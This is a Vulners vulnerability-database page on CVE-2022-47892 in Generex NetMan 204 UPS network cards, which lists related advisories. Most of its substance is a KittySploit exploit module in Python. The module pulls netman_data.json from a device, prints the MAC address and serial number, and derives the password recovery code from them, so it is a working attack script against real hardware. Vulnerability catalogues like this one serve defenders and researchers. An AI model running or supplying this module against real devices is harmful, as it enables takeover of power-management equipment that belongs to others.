Generex NetMan 204 CVE-2022-47892 - Sensitive Information Disclosure
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2022-47892 | 6 Mar 202318:07 | – | circl | |
| RIELLO UPS NetMan 安全漏洞 | 19 Aug 202200:00 | – | cnnvd | |
| CVE-2022-47892 | 3 Oct 202311:27 | – | cve | |
| CVE-2022-47892 Information disclosure in NetMan 204 | 3 Oct 202311:27 | – | cvelist | |
| EUVD-2022-50649 | 3 Oct 202520:07 | – | euvd | |
| Thunderstorm - Modular Framework To Exploit UPS Devices | 6 Mar 202311:30 | – | kitploit | |
| Thunderstorm | 14 Oct 202614:50 | – | kitploit | |
| CVE-2022-47892 | 3 Oct 202312:15 | – | nvd | |
| Information disclosure | 3 Oct 202312:15 | – | prion | |
| PT-2023-15520 · Unknown · Netman 204 | 3 Oct 202300:00 | – | ptsecurity |
10
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.netman204 import NetMan204
class Module(Auxiliary, Http_client, NetMan204):
__info__ = {
"name": "Generex NetMan 204 CVE-2022-47892 - Sensitive Information Disclosure",
"description": (
"Generex NetMan 204 exposes sensitive device information via netman_data.json, including "
"MAC address and serial number which can be leveraged to derive the password recovery code."
),
"author": ["JoelGMSec", "KittySploit Team"],
"cve": "CVE-2022-47892",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-47892",
],
"tags": ["netman204", "disclosure", "recovery"],
}
compute_recovery = OptBool(True, "Also compute the recovery code from disclosed values", required=False)
def check(self):
info = self.netman204_fetch_device_info()
if not info:
return {"vulnerable": False, "reason": "Unable to fetch netman_data.json", "confidence": "low"}
if info.get("mac_address") or info.get("serial_number"):
return {"vulnerable": True, "reason": "Sensitive device information is exposed", "confidence": "high"}
return {"vulnerable": False, "reason": "No sensitive fields found", "confidence": "low"}
def run(self):
info = self.netman204_fetch_device_info()
if not info:
print_error("Unable to fetch netman_data.json")
return False
rows = []
for key in sorted(info.keys()):
rows.append([str(key), str(info.get(key))])
print_table(["Field", "Value"], rows)
if self.compute_recovery and info.get("mac_address") and info.get("serial_number"):
code = self.netman204_recovery_from_mac_serial(info["mac_address"], info["serial_number"])
print_success(f"Derived recovery code: {code}")
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Apr 2026 09:19Current
CVSS 3.15.3 - 7.5
EPSS0.00478
SSVC